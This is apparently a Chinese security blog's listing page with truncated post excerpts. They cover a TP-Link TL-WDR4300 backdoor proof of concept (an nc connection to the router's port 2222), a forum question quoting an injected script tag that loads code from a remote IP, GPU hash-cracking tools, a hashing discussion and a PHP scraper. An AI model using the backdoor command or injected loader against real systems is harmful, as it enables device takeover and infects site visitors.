TP-Link http/tftp backdoor

老系统内容 FTP HTTP
约 391 字 预计阅读 1 分钟
About the TP-Link Router TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router. Tested Firmware We tested the remote root PoC on the newest firmware (published on 25.12.2012): TL-WDR4300 – tested firmware version The following info is provided for educational use only! We are also not resposible for any potential damages of the devices which are tested for this vulnerability. Proof of Concept root@secu:~# nc 192.168.0.1 2222 (UNKNOWN)
阅读全文

这是挂马吗,是怎么做到的？

老系统内容
约 997 字 预计阅读 2 分钟
T00ls有人问： 主页总有 <script type="text/javascript">document.write(unescape('%3Cscript type="text/javascript" src="http://115.238.147.102/A0EED19F1C1CB08BDED1D52D5DA33474?id=2&t=457515&m=0226ec1ad7a6b93b"%3E%3C/script%3E'))</script> 我看了我的主页。任何地方都没有找到这一句话。。。。只有主页有这。。。 问题来了，求大牛解答。。。。 1.为什么
阅读全文

螳螂捕蝉黄雀在后

老系统内容
约 1213 字 预计阅读 3 分钟
首先题目我是乱取的，文化水平差，不知道咋用词。呵呵 一次逛Pentester 大牛博客 发现 http://www.pentesting.cc/osmosis-kr-a-shopping-mall-systems-official-website.html 此篇文章。pent是大牛啊， 看题目是啥kr商城官网。
阅读全文

关于GPU破解的显卡选择

老系统内容 破解
约 521 字 预计阅读 2 分钟
GPU破解的软件目前主流有这三种 1，EGB www.insidepro.com/eng/egb.shtml 收费软件，仅支持NVIDIA显卡，支持的MD5自定义算法灵活且多样。 2，IGHASHGPU http://www.golubev.com/hashgpu.htm 免费
阅读全文

一个关于加密算法的简单讨论帖子

老系统内容 加密 算法 讨论
约 1068 字 预计阅读 3 分钟
我的“加密算法” Lmy (话说名字太长容易被人关注) | 2013-02-27 01:40 Java: byte[] salt = new byte[512]; new SecureRandom().nextBytes(salt); MessageDigest digest = MessageDigest.getInstance("SHA-512"); digest.update(password.getByte(Charset.forName("UTF-7"))); digest.update(salt); 1# safe121 (http://zone.wooyun.org/?do=action&act=thankcontent&id=633) | 2013-02-27 05:14 <?php function encrypt($str){ return md5(sha1(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(sha1(md5(sha1(base64_encode($str).base64_decode($str))))))))))))))))); } ?> 2# 顺子 | 2013-02-27 05:19 @safe121 你亮爆了！我草。这加
阅读全文

PHP脚本程序源码，采集百度下拉框的数据

老系统内容 PHP 百度 程序 脚本 数据 源码
约 267 字 预计阅读 1 分钟
<html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="http://zone.wooyun.org/themes/wooyun/css/style.css"/></head> <body> <?php /* another:VIP date:2013-2-26 */ $word=$_GET['word']; if ($word=="") { echo <<<EOF <form action="" method="get"> <p>关键词: <input type="text" name="word" /></p> <input type="submit" value="采集" /> </form> EOF; } else { $data=file_get_contents('http://suggestion.baidu.com/su?wd='.$word); $data=mb_convert_encoding($data, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5' ); $data_temp=strpos($data,"x"); $data=substr_replace($data,"",$data_temp,17); $data = trim($data,");");
阅读全文